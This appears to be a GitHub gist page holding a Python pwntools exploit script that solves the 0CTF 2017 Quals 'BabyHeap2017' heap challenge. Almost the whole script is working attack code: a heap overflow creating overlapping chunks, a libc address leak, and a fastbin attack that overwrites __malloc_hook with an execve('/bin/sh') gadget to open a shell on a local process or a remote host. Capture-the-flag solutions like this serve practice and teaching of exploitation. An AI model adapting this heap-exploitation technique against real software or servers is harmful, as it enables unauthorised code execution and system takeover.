Skip to content

Instantly share code, notes, and snippets.

@sferrini
Created August 13, 2017 22:03
Show Gist options
  • Save sferrini/dccdf727fe8f0c896787a993f93ab2cc to your computer and use it in GitHub Desktop.
Save sferrini/dccdf727fe8f0c896787a993f93ab2cc to your computer and use it in GitHub Desktop.
0CTF 2017 Quals - BabyHeap2017
#!/usr/bin/env python
from pwn import *
import sys
# 0CTF Quals - 2017
# Task: BabyHeap2017 - 250 pts
# Author: Simone Ferrini
def choose(c):
r.recvuntil('Command: ')
r.sendline(str(c))
def allocate(size):
choose(1)
r.recvuntil('Size: ')
r.sendline(str(size))
return int(r.recvline()[15:-1])
def allocate_no_recv(size):
choose(1)
r.recvuntil('Size: ')
r.sendline(str(size))
def fill(idx, size, content):
choose(2)
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvuntil('Size: ')
r.sendline(str(size))
r.recvuntil('Content: ')
r.send(str(content))
def free(idx):
choose(3)
r.recvuntil('Index: ')
r.sendline(str(idx))
def dump(idx):
choose(4)
r.recvuntil('Index: ')
r.sendline(str(idx))
def exit():
choose(5)
def leak_libc_address():
# allocate some chunks:
fast_size_x20 = 0x18 # max for 0x20 bytes chunks
a = allocate(fast_size_x20) # will overflow
b = allocate(fast_size_x20) # will become the overlapping chunk
c = allocate(200) # target leak smallchunk
dummy = allocate(200) # dummy smallchunk
payload_size = fast_size_x20 + 1 + 7
payload_size += 120 + 1
payload = 'A' * fast_size_x20 + '\x81' + '\x00' * 7
payload += 'A' * 120 + '\x81'
# partial override the "b" size, to make it bigger
fill(a, payload_size, payload)
# free the overflown chunk to make it go to the correct fastbit
free(b)
# allocate the new "overlapping" chunk
overlapping = allocate(120)
# recreate back the "c" chunk metadata
fill(overlapping, 32, 'A' * (32 - 8) + '\xD1' + '\x00' * 7)
# free the "c" chunk to poputate fd/bk pointers
free(c)
# leak the libc address
dump(overlapping)
return u64(r.recvuntil('Allocate')[42:42 + 8])
def fast_bin_attack(libc_address):
fast_chunk_size = 0x68 # max for 0x70 bytes chunks
dummy = allocate(fast_chunk_size) # to clean previous mess
a = allocate(fast_chunk_size)
b = allocate(fast_chunk_size)
free(b)
payload_size = fast_chunk_size
payload_size += 1 + 7
payload_size += 8
payload = 'A' * fast_chunk_size
payload += '\x71' + '\x00' * 7 # for fast_chunk_size = 0x68
malloc_hook = libc_address + 0x003c4b10
malloc_hook_fixed = malloc_hook - 0x23
payload += p64(malloc_hook_fixed) # address returned by malloc
fill(a, payload_size, payload)
dummy = allocate(fast_chunk_size)
controlled = allocate(fast_chunk_size)
execve_bin_sh = libc_address + 0x4526a
fill(controlled, 19 + 8, '\x00' * 19 + p64(execve_bin_sh))
allocate_no_recv(10)
def exploit(r):
libc_leak = leak_libc_address()
print "[+] libc_leak: " + hex(libc_leak)
libc_address = libc_leak - 0x3C4B78
print "[+] libc_address: " + hex(libc_address)
print "[+] pwning..."
fast_bin_attack(libc_address)
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['0ctfbabyheap'])
print util.proc.pidof(r)
pause()
exploit(r)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment